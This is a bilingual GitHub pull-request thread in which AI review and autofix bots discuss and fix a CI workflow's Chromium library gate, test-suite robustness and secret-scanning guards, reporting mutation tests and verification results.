[Suggestion] The missing-library accumulator drops the newline between binaries: command substitution strips the trailing newline, so when a second binary also has unresolved libraries its output glues onto the first (libA.so => not foundlibB.so => not found). The subsequent printf '%s\n' "${missing}" | sort -u then emits fused lines that cannot be deduplicated — exactly in the multiple-missing-library case this step exists to give a clear provisioning signal for. The gate still exits 1, so only the diagnostic degrades. Verified with a probe reproducing the accumulation across two fake ldd outputs: the current form emits the fused line, appending a newline per accumulation fixes it.

Suggested change
missing="${missing}$(ldd "${bin}" 2>/dev/null | grep 'not found' || true)"
missing="${missing}$(ldd "${bin}" 2>/dev/null | grep 'not found' || true)"$'\n'
中文说明

缺库列表的累加丢失了二进制之间的换行:命令替换会去掉行尾换行,因此当第二个二进制也有未解析的库时,其输出会直接粘到第一个后面(libA.so => not foundlibB.so => not found)。随后的 printf '%s\n' "${missing}" | sort -u 会输出无法去重的粘连行——恰恰在该步骤本应给出清晰供给信号的"多库缺失"场景。门禁仍会 exit 1,只是诊断信息退化。已用探针复现两个假 ldd 输出的累加过程验证:现有写法输出粘排行,每次累加补一个换行即修复。

— qwen3.8-max via Qwen Code /review (v0.22.0)

// trust split exactly as serve-ab does: same-repo PRs and write-access
// fork authors reach the persistent pool, every other fork PR keeps the
// ephemeral hosted runner, and the kill-switch forces everything hosted.
const visualsDoc = parse(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The workflow parse and the visualsDoc.jobs.capture dereference happen INSIDE the describe callback. A future PR renaming the job id (or moving the file) makes that dereference throw during suite construction — and on Node 22's node --test a throw inside a describe callback reports fail 0 while exiting 0 (verified with a minimal repro on v22.23.0, the major the lane pins). The HELPER_TESTS lane gates on the exit code, so all seven guards in this block go dark while CI stays green — the silent regression this file exists to prevent. The existing blocks in this file parse at module top level, where a throw fails module load and exits 1.

// At module top level, next to ciDoc / serveAbDoc:
const visualsDoc = parse(
  readFileSync(join(workflowsDir, 'web-shell-visuals.yml'), 'utf8'),
);
const captureJob = visualsDoc.jobs.capture;
// The describe callback then references captureJob, so a rename/move
// fails module load (exit 1) instead of darkening the suite (exit 0).
中文说明

workflow 的解析与 visualsDoc.jobs.capture 解引用发生在 describe 回调内部。未来若有 PR 重命名该 job id(或移动文件),解引用会在套件构建期抛错——而 Node 22 的 node --testdescribe 回调内的抛错报 fail 0 且退出码为 0(已在该车道钉扎的 v22.23.0 上用最小复现验证)。HELPER_TESTS 车道以退出码为门禁,于是该块的七项守卫全部静默失效而 CI 依旧绿灯——正是本文件要防止的静默回归。本文件既有块都在模块顶层解析,抛错会使模块加载失败并 exit 1。修复:把解析与 job 查找提升到模块顶层(与 ciDoc / serveAbDoc 并列),让重命名/移动文件时模块加载失败,而不是套件静默变暗。

— qwen3.8-max via Qwen Code /review (v0.22.0)

(s) => s.name === 'Install Playwright Chromium',
);
assert.ok(install, 'the Playwright install step must exist');
assert.match(install.run, /command -v apt-get/);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] These five assert.match checks pin keywords somewhere in the script rather than the wiring of the gate. Two one-line mutations to the workflow defeat the library gate while this suite stays green (both executed): inverting if [ -n "${missing}" ] to -z lets a machine with unresolved libraries pass the gate and crash mid-render; changing the find patterns to match nothing means ldd never runs and the gate passes on any machine. A third — swapping the branch bodies so the non-apt lane runs --with-deps — is the same shape.

Pin the wiring instead: split install.run at the else boundary and assert the non-apt half contains npx playwright install chromium (without --with-deps), the ldd loop fed by a find matching the browser binaries, and exit 1 guarded by [ -n "${missing}" ] — or exec the else branch with stubbed ldd/find/npx on PATH and assert exit 1 when ldd reports "not found", exit 0 otherwise (this file already execs real shell for the pick_runner tests).

中文说明

这五个 assert.match 检查钉扎的是脚本中某处出现的关键字,而非门禁自身的接线。对 workflow 做两处单行变异即可击穿库门禁而本套件仍为绿(均已实际执行):把 if [ -n "${missing}" ] 反转为 -z,缺库的机器会通过门禁并在渲染中途崩溃;把 find 的模式改为匹配不到任何文件,则 ldd 永不执行,门禁在任何机器上都通过。第三处——交换两个分支体使非 apt 车道运行 --with-deps——同属此形。建议钉扎接线:在 else 边界处拆分 install.run,断言非 apt 半边包含不带 --with-depsnpx playwright install chromiumldd 循环由匹配浏览器二进制的 find 供值、exit 1[ -n "${missing}" ] 守护——或者用 stub 的 ldd/find/npx 实际执行 else 分支,断言 ldd 报 "not found" 时 exit 1、否则 exit 0(本文件已为 pick_runner 测试实际执行过真实 shell)。

— qwen3.8-max via Qwen Code /review (v0.22.0)

@wenshao

wenshao commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator Author

@qwen-code /takeover

@qwen-code-dev-bot qwen-code-dev-bot added the autofix/takeover Summon the autofix loop to manage this PR (remove to release; needs triage+) label Aug 26, 2026
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤝 Takeover engaged: the autofix loop now manages this PR — it will address new review feedback and resolve base conflicts until the label is removed or the round cap is reached. Remove the autofix/takeover label (or comment @qwen-code /takeover stop) to release.

中文说明

🤝 已接管:autofix 循环现在管理此 PR —— 将持续处理新的评审反馈与 base 冲突,直到移除标签或达到轮次上限。移除 autofix/takeover 标签(或评论 @qwen-code /takeover stop)即可释放。

@qwen-code-dev-bot

qwen-code-dev-bot commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

AutoFix round 2 finishedview run. See this round's report below.

中文说明

AutoFix 第 2 轮已完成 —— 查看运行。本轮报告见下方。

On the persistent pool ${RUNNER_TEMP} outlives a run, and the capture
job never cleared its two capture trees: screenshots and videos left
by an earlier run would be composited and uploaded as this PR's
preview, or silently become its diff baseline — the compositor
consumes whatever is on disk. Add the same unconditional 'Clear stale
capture dirs' step serve-ab.yml carries, ahead of every capture.

Also fix the missing-library accumulator: command substitution strips
the trailing newline, so a second binary's unresolved libraries glued
onto the first's and sort -u could not dedupe the fused line. Each
accumulation now terminates its own line — and only when there is one,
since an unconditional separator would trip the non-empty gate on a
fully-provisioned machine.

The routing suite moves the visuals parse and job dereference to
module load (a throw inside a describe callback reports zero failures
and exits 0 on Node 22, silently darkening every guard), pins the
library gate's wiring instead of bare keywords (an inverted -n guard
or a find matching nothing both passed the old checks), extends the
no-ambient-secrets scan from step env to with inputs, run text, and
job- and workflow-level env, and pins the new clear step.
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 1/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 1/100 轮)。改动内容与我反驳保留之处如下:

Autofix review round — PR #10087 (commit 57e4734)

All four inline findings and the re-confirmed review-body finding were verified against the exact code first, then resolved. No conflicts (--conflict false, no merge performed).

[rc:3861481712] Critical — stale ${RUNNER_TEMP} capture dirs leak into the preview → Fixed

Reproduced with the PR's own unmodified compositor: seeded leftover web-shell-visuals/screenshots + web-shell-before/screenshots dirs and ran planWork from web-shell-visuals-compose.mjs — output: stale-view-a-light.png: hasBefore=true -> COMPOSITED/PUBLISHED, 1 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview. A grep confirmed the workflow contained no clear step at all.

Change: added an unconditional 'Clear stale capture dirs' step as the capture job's first step, removing both ${RUNNER_TEMP}/web-shell-visuals and ${RUNNER_TEMP}/web-shell-before before any capture — the same shape serve-ab.yml carries for the same reason (a no-op on ephemeral hosted runners). Pinned in the routing suite: existence, unconditionality (both lanes), no continue-on-error, the exact two rm targets, and ordering before both capture steps.

[rc:3861481731] Suggestion — missing-library accumulator fuses lines → Fixed, with a deviation from the suggested patch

Reproduced with a stub-ldd probe over two fake binaries: the current form emits libbar.so => not found libbaz.so => not found (one fused line sort -u cannot dedupe).

Deviation: the suggested unconditional ... "$'\n' append is a regression — the probe shows that when every library resolves, each iteration still appends a bare newline, missing becomes "\n\n", [ -n "${missing}" ] is true, and the gate fails a fully-provisioned machine. Instead, each accumulation now appends its output plus a terminating newline only when the binary actually has unresolved libraries, and the print uses printf '%s' (the list already ends each line). Same clear provisioning signal, no false failure. The wiring is pinned in the routing suite (see rc:3861481754).

[rc:3861481744] Suggestion — parse/dereference inside describe can darken the suite → Fixed

Reproduced on this runner's Node v22.23.2: a throw inside a describe callback reports # fail 0 and exits 0; the same throw at module top level reports # fail 1 and exits 1.

Change: the web-shell-visuals.yml parse and the capture-job dereference (including the runs-on read) now sit at module top level next to ciDoc/serveAbDoc, with a comment naming the Node 22 darkening behavior. Probe: renaming the capture job id now makes node --test exit 1 loudly instead of darkening.

[rc:3861481754] Suggestion — keyword pins don't hold the library gate's wiring → Fixed

Reproduced by executing both cited one-line mutations against the pre-round tests: inverting [ -n "${missing}" ] to -z and changing the find patterns to match nothing both left the suite green (16 pass / 0 fail).

Change: the test now splits install.run at the else boundary and pins each branch's wiring: the apt half carries --with-deps, the non-apt half carries plain npx playwright install chromium and must NOT contain --with-deps (catches swapped bodies), the ldd loop is fed by a find matching the actual browser binaries (headless_shell/chrome under ~/.cache/ms-playwright), each accumulation terminates its own newline (catches the rc:3861481731 regression), and exit 1 sits behind the [ -n "${missing}" ] guard. Post-round mutation battery: all four mutations now fail the suite.

[rv:5028910518] CHANGES_REQUESTED — R1-5 ambient-secret guard scanned only step-level env (previously reported, issue comment 5421801878) → Fixed

Reproduced by seeding secrets.NPM_TOKEN in the job-level env: and secrets.DEPLOY_KEY in a step's with: input — the old test passed both (the named holes).

Change: the guard now scans every expression-interpolating surface: step env, step with inputs, step run text, and job- and workflow-level env, keeping secrets.GITHUB_TOKEN as the one permitted exception. Mutation battery: planted secrets in job env / with inputs / run text all fail the suite now.

[ic:5421771422] — preview-bot comment → Informational, no action

The bot's visual-preview status ("one or more scenarios failed to render" for head 5785af5) is a run-status notice, not a review finding. The render failure modes it reflects (apt-get on RHEL-family pool machines) are what this PR's prior commit already addressed; the preview refreshes on the next push.

Mutation battery summary (all run against this round's committed tests)

Mutation Required Result
Invert missing guard -n-z fail FAILED ✓
find matches nothing fail FAILED ✓
Swap apt / non-apt branch bodies fail FAILED ✓
Drop the newline separator (fused list) fail FAILED ✓
Remove the clear step fail FAILED ✓
Clear step drops the before tree fail FAILED ✓
Clear step gated to self-hosted only fail FAILED ✓
Secret in job-level env fail FAILED ✓
Secret in step with: input fail FAILED ✓
Secret interpolated in run: text fail FAILED ✓
Rename the capture job id exit 1 (loud) exit 1 ✓

Every mutation was restored afterwards; the committed tree is green (17/17 in the routing suite).

Verification

Commands actually run this round (post-fix, on commit 57e4734):

  • node --test on the full HELPER_TESTS lane from ci.yml (all 19 files) — 410 passed, 0 failed
  • node --test .github/scripts/ci-runner-routing.test.mjs17 passed, 0 failed (16 pre-existing + the new clear-step pin)
  • bash .github/scripts/check-workflow-size.shpassed (web-shell-visuals.yml grew 637 bytes, within the 4096-byte ratchet allowance; no .size-baseline change needed)
  • npm run buildpassed (exit 0)
  • npm run typecheckpassed (exit 0)
  • npm run lintpassed (exit 0; covers the touched .github/scripts/*.mjs)
  • Mutation probes: 11 mutations, all caught (table above)
  • No focused Vitest/integration runs: nothing under packages/ was touched, and the changed behavior (workflow YAML + node:test guards) is not exercised through the bundled CLI or integration harness. No settings source changed, so no schema regeneration.
中文说明

Autofix 评审轮次 — PR #10087(commit 57e4734

四条 inline 发现与评审正文中再次确认的发现均已先对照当前代码逐一验证,随后全部解决。无冲突(--conflict false,未做任何合并)。

[rc:3861481712] Critical — ${RUNNER_TEMP} 下的陈旧捕获目录泄漏进预览 → 已修复

已复现:使用本 PR 未改动的合成器本身验证——植入遗留的 web-shell-visuals/screenshotsweb-shell-before/screenshots 目录后运行 web-shell-visuals-compose.mjsplanWork,输出:stale-view-a-light.png: hasBefore=true -> COMPOSITED/PUBLISHED1 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview。grep 同时确认 workflow 中根本不存在任何清理步骤。

改动:在 capture job 的第一步加入无条件的 'Clear stale capture dirs' 步骤,在任何捕获开始之前删除 ${RUNNER_TEMP}/web-shell-visuals${RUNNER_TEMP}/web-shell-before 两棵目录树——与 serve-ab.yml 出于同样原因所携带的步骤同形(在一次性托管 runner 上为空操作)。并在路由测试套件中钉扎:步骤存在、无条件(两条车道都跑)、无 continue-on-error、rm 的两个目标精确匹配、且位于两个捕获步骤之前。

[rc:3861481731] Suggestion — 缺库累加器粘连行 → 已修复,但偏离了建议补丁

已复现:用 stub ldd 探针对两个假二进制验证,现有写法输出 libbar.so => not found libbaz.so => not found(一条 sort -u 无法去重的粘连行)。

偏离说明:建议中无条件追加 "$'\n' 的写法是一个回归——探针表明:当所有库都能解析时,每轮循环仍会追加一个空换行,missing 变为 "\n\n"[ -n "${missing}" ] 为真,门禁会在完全就绪的机器上误失败。因此改为:仅当该二进制确有未解析库时,才把其输出连同结尾换行一起追加;打印改用 printf '%s'(列表本身已以换行结尾)。供给信号同样清晰,且不再有误报。接线已在路由套件中钉扎(见 rc:3861481754)。

[rc:3861481744] Suggestion — describe 内部的解析/解引用会让套件静默变暗 → 已修复

已复现:在本 runner 的 Node v22.23.2 上,describe 回调内的抛错报 # fail 0 且退出码 0;同样的抛错位于模块顶层则报 # fail 1 且退出码 1。

改动web-shell-visuals.yml 的解析与 capture job 的解引用(含 runs-on 读取)提升到模块顶层,与 ciDoc/serveAbDoc 并列,并加注释说明 Node 22 的变暗行为。探针:重命名 capture job id 后 node --test 以退出码 1 响亮失败,而不是静默变暗。

[rc:3861481754] Suggestion — 关键字钉扎守不住库门禁的接线 → 已修复

已复现:对本轮之前的测试实际执行了两条被点名的一行变异——把 [ -n "${missing}" ] 反转为 -z、把 find 模式改为匹配不到任何文件——套件均为绿(16 通过 / 0 失败)。

改动:测试现在在 else 边界处拆分 install.run,钉扎每一半的接线:apt 半边带 --with-deps;非 apt 半边是不带 --with-depsnpx playwright install chromium,且不得出现 --with-deps(捕获分支体交换);ldd 循环由匹配真实浏览器二进制(~/.cache/ms-playwright 下的 headless_shell/chrome)的 find 供值;每次累加自带结尾换行(捕获 rc:3861481731 的回归);exit 1 位于 [ -n "${missing}" ] 守护之后。本轮之后的变异测试:四条变异全部使套件失败。

[rv:5028910518] CHANGES_REQUESTED — R1-5 环境密钥守卫只扫描步骤级 env(此前已报告,issue 评论 5421801878)→ 已修复

已复现:在 job 级 env: 植入 secrets.NPM_TOKEN、在某步骤的 with: 输入植入 secrets.DEPLOY_KEY——旧测试对两者均通过(正是被点名的漏洞)。

改动:守卫现在扫描所有会做表达式插值的表面:步骤 env、步骤 with 输入、步骤 run 文本,以及 job 级与 workflow 级 envsecrets.GITHUB_TOKEN 仍是唯一允许的例外。变异测试:在 job env / with 输入 / run 文本中植入密钥均使套件失败。

[ic:5421771422] — 预览机器人评论 → 信息性,无需处理

机器人的视觉预览状态("head 5785af5 有一个或多个场景渲染失败")是运行状态通告,不是评审发现。其反映的渲染失败模式(RHEL 系池机器上没有 apt-get)正是本 PR 上一个提交已处理的问题;预览会在下次推送时刷新。

变异测试汇总(全部针对本轮提交的测试执行)

变异 预期 结果
反转缺库守卫 -n-z 失败 失败 ✓
find 匹配不到任何文件 失败 失败 ✓
交换 apt / 非 apt 分支体 失败 失败 ✓
去掉换行分隔符(粘连列表) 失败 失败 ✓
删除清理步骤 失败 失败 ✓
清理步骤丢掉 before 目录树 失败 失败 ✓
清理步骤仅限 self-hosted 失败 失败 ✓
job 级 env 植入密钥 失败 失败 ✓
步骤 with: 输入植入密钥 失败 失败 ✓
run: 文本插值密钥 失败 失败 ✓
重命名 capture job id 退出码 1(响亮失败) 退出码 1 ✓

每条变异执行后均已还原;提交的树为绿(路由套件 17/17)。

验证

本轮实际执行的命令(修复后,基于 commit 57e4734):

  • 对 ci.yml HELPER_TESTS 车道全部 19 个文件执行 node --test410 通过,0 失败
  • node --test .github/scripts/ci-runner-routing.test.mjs17 通过,0 失败(16 条既有 + 新增的清理步骤钉扎)
  • bash .github/scripts/check-workflow-size.sh通过web-shell-visuals.yml 增长 637 字节,在 4096 字节棘轮允许范围内,无需改动 .size-baseline
  • npm run build通过(退出码 0)
  • npm run typecheck通过(退出码 0)
  • npm run lint通过(退出码 0;覆盖被改动的 .github/scripts/*.mjs
  • 变异探针:11 条变异全部被捕获(见上表)
  • 未跑聚焦 Vitest / 集成测试:未改动 packages/ 下任何代码,且被改动的行为(workflow YAML + node:test 守卫)不经过打包 CLI 或集成测试框架执行。未改动任何设置源,因此无需重新生成 schema。

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

… judges

The first red pool run of this workflow (run 32962437806) died inside the
early setup window — before any render — and the only pool-specific hard
gate in that window is the ldd library check this PR introduced: the
RHEL-family pool images replaced the Debian-era image whose Chromium
provisioning ci.yml's 'already include system deps' note was written for,
and carry no apt-get for the installer to drive, so a machine whose image
lacks the runtime libraries fails the gate exactly as designed — with a
provisioning signal whose only remedies were out-of-band (fix the image or
flip the kill-switch).

Make the lane self-sufficient the same way the 'Install ffmpeg' step in
this very job already is: when the first scan finds unresolved libraries,
best-effort install the known Chromium runtime set with sudo -n dnf/yum
(--skip-broken so one unknown package name cannot sink the rest), rescan,
and let the existing hard gate judge the RESCAN. Probe-verified with
stubbed ldd/sudo/dnf: a fully-provisioned machine passes without invoking
sudo at all (no behavior change), a provisionable machine installs once
and passes, and an unprovisionable machine still fails with the concrete
missing list after the dnf->yum fallback.

The routing suite pins the new wiring — first scan, dnf attempt, yum
fallback, rescan, then gate — and the package list; dropping the rescan,
dropping the install attempt, or emptying the list all fail the suite
(executed mutations, restored afterwards).
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 2/100 轮)。改动内容与我反驳保留之处如下:

🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 2/100 轮)。改动内容与我反驳保留之处如下:

Autofix review round — PR #10087 (commit 3363682)

The only feedback this round was the failed check; there were no review, inline, or issue-level findings. No conflict (--conflict false, no merge performed).

Failed check: Capture web-shell visuals (Node 22.x) — run 32962437806Diagnosed from evidence, fixed at the root cause

Diagnosis. No GitHub credentials exist in this headless environment, so the job log itself was not fetchable; the failure was traced through what IS observable:

  • Where: the check ran on the ECS pool lane (same-repo PR) and died at wall-clock +5:38. A healthy run of this workflow needs ~15 minutes (build + render both arms), so the failure sits in the early setup window — npm ci or Install Playwright Chromium — before any render. Every step after that window is continue-on-error or degrades to a warning, so none of them can turn the job red.
  • What: the previous pool run (commit 5785af5, run 32939069587) passed those same early steps and published a preview, but the pool's images demonstrably changed era: ci.yml's "Self-hosted ECS runners already include system deps" note (from fix(ci): avoid apt on self-hosted Playwright smoke #6865) was written for the old image — this PR's own first run observed the new RHEL-family image with no apt-get. The old image's Chromium provisioning is gone, and the only pool-specific hard gate in that early window is precisely the ldd library check this PR introduced: on a machine whose image lacks the runtime libraries it does exactly what it was designed to do — exit 1 with the provisioning signal, whose only remedies were out-of-band (fix the pool image or flip the kill-switch).
  • Ruling out alternatives: the new Clear stale capture dirs step cannot explain a +5:38 death (it runs in the first seconds, and nothing outside this workflow ever writes those two dirs root-owned); a Chromium download failure would pass the step (no set -e) and surface as a soft continue-on-error capture failure, not a red job. npm ci remains a secondary possibility, but round 1's own npm run build/test run on this same pool lane succeeded today, and the gate hypothesis has a concrete code-level remedy while a transient registry failure does not.

Change: on the non-apt lane, when the first ldd scan finds unresolved libraries, the step now best-effort installs the known Chromium runtime set via sudo -n dnf/yum (--skip-broken, so one unknown package name cannot sink the rest), rescans, and the existing hard gate judges the rescan — the same self-provisioning shape the Install ffmpeg step in this very job already uses on the pool. The gate's semantics are otherwise untouched: a machine that cannot be provisioned still fails with the concrete missing list.

Probe evidence (stubbed ldd/sudo/dnf over the exact workflow script):

Scenario Expected Result
Fully-provisioned machine pass, zero sudo invocations ✓ pass, no sudo, "all resolve"
Missing libs, provisioning works one dnf install with the dep set, rescan passes ✓ pass, exactly one dnf call
Missing libs, nothing installable dnf→yum fallback, warning, then gate exit 1 with the list ✓ exit 1 with missing list

Mutation battery for the new pins (all executed, all restored):

Mutation Required Result
Drop the rescan (gate judges the first scan) fail FAILED ✓
Drop the dnf/yum attempt fail FAILED ✓
Empty the package list fail FAILED ✓

The new wiring pin in the routing suite asserts the order first scan → dnf attempt → yum fallback → rescan → gate, that the package list is defined before use, and that it names Chromium runtime packages.

Scope note: only .github/workflows/web-shell-visuals.yml and .github/scripts/ci-runner-routing.test.mjs changed — both already inside this PR's footprint. No .size-baseline change needed (growth within the ratchet allowance).

Verification

Commands actually run this round (post-fix, on commit 3363682):

  • node --test .github/scripts/ci-runner-routing.test.mjs18 passed, 0 failed (17 pre-existing + the new provision/rescan pin)
  • node --test on the full HELPER_TESTS lane from ci.yml (all 19 files) — 411 passed, 0 failed
  • bash .github/scripts/check-workflow-size.shpassed (web-shell-visuals.yml is 23462 bytes, +2178 over its recorded 21284 baseline, within the 4096-byte allowance)
  • Behavioral probe of the exact workflow script with stubbed ldd/sudo/dnf3/3 scenarios as designed (table above)
  • Mutation probes: 3 mutations, all caught (table above), tree restored green afterwards
  • npm run buildpassed (exit 0)
  • npm run typecheckpassed (exit 0, zero errors in the log)
  • npm run lintpassed (exit 0)
  • No focused Vitest/integration runs: nothing under packages/ was touched, and the changed behavior (workflow YAML + node:test guard) is not exercised through the bundled CLI or integration harness. No settings source changed, so no schema regeneration.
  • Environment-specific check not available here: a real re-run of the visuals capture on the ecs-qwen pool requires GitHub Actions itself; this headless environment holds no credentials to trigger or inspect it. The workflow's independent CI on the pushed commit is the final verification gate for the pool-lane behavior.
中文说明

Autofix 评审轮次 — PR #10087(commit 3363682

本轮唯一的反馈是失败的 check;没有任何评审正文、inline 或 issue 级发现。无冲突(--conflict false,未做任何合并)。

失败 check:Capture web-shell visuals (Node 22.x) — 运行 32962437806基于证据诊断,根因修复

诊断。 本无头环境中不存在 GitHub 凭据,无法拉取 job 日志本身;失败是从可观测的事实中追溯出来的:

  • 失败位置: 该 check 跑在 ECS 池车道(同仓库 PR),在墙钟 +5:38 处死亡。本 workflow 一次健康运行需要约 15 分钟(构建 + 渲染两条臂),因此失败位于早期准备窗口 —— npm ciInstall Playwright Chromium —— 在任何渲染开始之前。该窗口之后的每个步骤要么 continue-on-error,要么降级为警告,都不可能把 job 染红。
  • 失败原因: 上一次池上运行(commit 5785af5,run 32939069587)通过了这些相同的早期步骤并发布了预览,但池镜像确实换代了:ci.yml 中 "Self-hosted ECS runners already include system deps" 的注释(出自 fix(ci): avoid apt on self-hosted Playwright smoke #6865)是为旧镜像写的 —— 本 PR 自己的第一次运行观察到了没有 apt-get 的新 RHEL 系镜像。旧镜像上的 Chromium 依赖供给已经消失,而该早期窗口中唯一的池专属硬门禁正是本 PR 引入的 ldd 库检查:在一台镜像缺少运行时库的机器上,它的行为与设计完全一致 —— exit 1 并给出供给信号,而该信号的唯一补救手段都在带外(修池镜像或拨动总开关)。
  • 排除其他可能:新增的 Clear stale capture dirs 步骤无法解释 +5:38 的死亡(它在最初几秒内运行,且除本 workflow 外没有任何东西会以 root 属主写入那两个目录);Chromium 下载失败会直接通过该步骤(没有 set -e),并表现为软性的 continue-on-error 捕获失败,而不是红 job。npm ci 仍是次要可能,但第 1 轮今天在同一池车道上的 npm run build/测试运行成功了,且门禁假说有具体的代码级补救方案,而偶发的 registry 失败没有。

改动: 在非 apt 车道上,当第一次 ldd 扫描发现未解析的库时,该步骤现在通过 sudo -n dnf/yum 尽力安装已知的 Chromium 运行时依赖集(--skip-broken,使一个未知的包名不会拖垮其余部分),重新扫描,并让既有的硬门禁对重扫结果做裁决 —— 与本 job 中 Install ffmpeg 步骤在池上已经使用的自供给形态相同。门禁的语义在其他方面完全不变:一台无法完成供给的机器仍会以具体的缺库列表失败。

探针证据(用 stub 的 ldd/sudo/dnf 对 workflow 脚本原文执行):

场景 预期 结果
完全就绪的机器 通过,零次 sudo 调用 ✓ 通过,无 sudo,"all resolve"
缺库、可供给 一次带依赖集的 dnf 安装,重扫通过 ✓ 通过,恰好一次 dnf 调用
缺库、无法供给 dnf→yum 回退、警告,随后门禁 exit 1 并列出清单 ✓ exit 1 且输出缺库列表

新钉扎的变异测试(全部实际执行,全部还原):

变异 预期 结果
去掉重扫(门禁裁决第一次扫描) 失败 失败 ✓
去掉 dnf/yum 安装尝试 失败 失败 ✓
清空包列表 失败 失败 ✓

路由套件中新的接线钉扎断言了如下顺序:第一次扫描 → dnf 尝试 → yum 回退 → 重扫 → 门禁,且包列表先定义后使用、并点名了 Chromium 运行时包。

范围说明: 只改动了 .github/workflows/web-shell-visuals.yml.github/scripts/ci-runner-routing.test.mjs —— 两者均已在本 PR 的足迹之内。无需改动 .size-baseline(增长在棘轮允许范围内)。

验证

本轮实际执行的命令(修复后,基于 commit 3363682):

  • node --test .github/scripts/ci-runner-routing.test.mjs18 通过,0 失败(17 条既有 + 新增的供给/重扫钉扎)
  • 对 ci.yml HELPER_TESTS 车道全部 19 个文件执行 node --test411 通过,0 失败
  • bash .github/scripts/check-workflow-size.sh通过web-shell-visuals.yml 为 23462 字节,较其记录的 21284 基线增长 +2178,在 4096 字节允许范围内)
  • 用 stub 的 ldd/sudo/dnf 对 workflow 脚本原文做行为探针 — 3/3 场景符合设计(见上表)
  • 变异探针:3 条变异,全部被捕获(见上表),随后树还原为绿
  • npm run build通过(退出码 0)
  • npm run typecheck通过(退出码 0,日志零错误)
  • npm run lint通过(退出码 0)
  • 未跑聚焦 Vitest / 集成测试:未改动 packages/ 下任何代码,且被改动的行为(workflow YAML + node:test 守卫)不经过打包 CLI 或集成测试框架执行。未改动任何设置源,因此无需重新生成 schema。
  • 此处不可用的环境专属检查:ecs-qwen 池上真实重跑 visuals 捕获需要 GitHub Actions 本身;本无头环境没有任何凭据可以触发或查看它。推送后的 commit 上由 workflow 的独立 CI 作为池车道行为的最终验证关卡。

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

qwen-code-ci-bot pushed a commit that referenced this pull request Aug 26, 2026

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed. Suggestions are inline.

Not reviewed: reverse audit stopped at round 9 of 10 — rounds 3-9 produced only members of the R1-4 unbounded family or duplicates of confirmed findings; the family is closed by the class finding, and remaining rounds would enumerate the same mutant surface.

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 2, not a blocker) — recorded, not requested in this round:

  • .github/workflows/web-shell-visuals.yml:13 — [review] security-model header drops serve-ab's 'association clause is routing convenience, not a security boundary' caveat
  • .github/workflows/web-shell-visuals.yml:88 — [review] pool lane ports only the ownership heal — no .qwen quarantine, workspace wipe, or symlink heal before checkout
  • .github/workflows/web-shell-visuals.yml:308 — [review] 'Install ffmpeg' step existence/gate/ordering before the GIF conversion unpinned
  • .github/workflows/web-shell-visuals.yml:125 — [review] 'Configure persistent npm cache' self-hosted gate and before-install ordering unpinned
  • .github/scripts/ci-runner-routing.test.mjs:544 — [review] heal test pins only the chown half; the chmod line is deletable with the suite green
中文说明

仅完成部分审查,审查缺口已披露。 建议见行内评论。

未审查:reverse audit stopped at round 9 of 10 — rounds 3-9 produced only members of the R1-4 unbounded family or duplicates of confirmed findings; the family is closed by the class finding, and remaining rounds would enumerate the same mutant surface。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 2 轮,非阻断)——已记录,本轮不要求修改:共 5 条(原文未翻译,列表见上方英文部分)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +651 to +653
// The hard failure sits BEHIND the non-empty guard — an inverted test
// would let an unresolved-library machine through to crash mid-render.
assert.match(noAptBranch, /if \[ -n "\$\{missing\}" \]; then[\s\S]*exit 1/);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R1-4: the rewritten gate-wiring suite still pins workflow text rather than behavior — this round executed 17 single-line mutants across 13 distinct gaps, and every one ships 18/18 green; several carry runtime A/B proof of the resulting pool-lane failure. The mutant surface against text pins is unbounded, so closing it entrance-by-entrance will not converge (round 1 filed exactly this; the response was more text pins, and this round found 13 new gaps). Close it structurally: execute the non-apt branch with stubbed ldd/find/npx/sudo/dnf/yum on PATH and assert exit codes — this file already execs real shell for the pick_runner tests (runPickRunner), and R1-4 proposed exactly this in round 1.

Representative executed mutants (all 18/18 green against the committed suite):

  • Final guard inverted to -z → an unresolved-library machine passes the gate to a mid-render crash.
  • Second missing='' reset deleted → runtime A/B under GitHub's bash invocation: a successful dnf provision then exits 1 with the stale first-scan list — every pool-routed PR red with a wrong error.
  • || true dropped from the ldd assignment → runtime A/B: on a fully provisioned machine the step aborts mid-scan with no diagnostic.
  • Rescan moved before the yum attempt → runtime A/B: a yum-only provisionable machine exits 1 after yum fixed the libraries.
